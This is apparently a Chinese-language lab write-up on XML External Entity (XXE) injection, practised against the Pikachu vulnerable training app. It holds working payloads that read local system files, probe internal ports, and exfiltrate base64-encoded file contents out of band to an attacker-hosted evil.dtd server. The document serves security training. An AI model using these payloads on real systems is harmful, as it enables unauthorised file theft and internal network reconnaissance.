目录
一、XXE和XML概念
1.XML
- XML 指可扩展标记语言(EXtensible Markup Language)。
- XML 是一种很像HTML的标记语言。
- XML 的设计宗旨是传输数据,而不是显示数据。
2.XXE
XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞
XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,没有进行严格的过滤,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
二、DTD和XML实体ENTITY概念
(1)DTD为英文Document Type Definition,中文意思为“文档类型定义”。
(2)DTD声明始终以!DOCTYPE开头,空一格后跟着文档根元素的名称。
(3)XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。
ENTITY的定义语法:
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
三、pikachu的XML(有回显)
1.读取文件payload
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test/1.txt">
]>
<x>&xxe;</x>
2.在有回显的情况下,可以读取敏感文件
我这里调用了云服务器中建立的evil.dtd文件
(1)payload:
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>
(2)evil.dtd:
<!ENTITY evil SYSTEM "file:///c:/windows/system.ini" >
(3)结果:
3.作为内网探针探测开放端口
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://47.113.219.245:8080" > ]> <x>&rabbit;</x>
可以根据响应时间来判断端口是否开放。
四、pikachu的XML(无回显)
1.注释源码中的echo 语句进行测试
2.构造payload
(1)思路:
先利用php协议流玩法读取文件内容,之后调用了外部实体,把文件内容作为参数访问我们的自己的攻击服务器,以此来形成访问日志,解密后拿到文件内容。
xx.xx.xx.xx是我们的攻击服务器ip地址(我用的是云服务器)。
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../../../target.php">
<!ENTITY % dtd SYSTEM "http://xx.xx.xx.xx/evil.dtd">
%dtd;
%send;
]>
(2)evil.dtd
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;
(3)target.php
3.查看访问日志,解密得出结果
文章参考: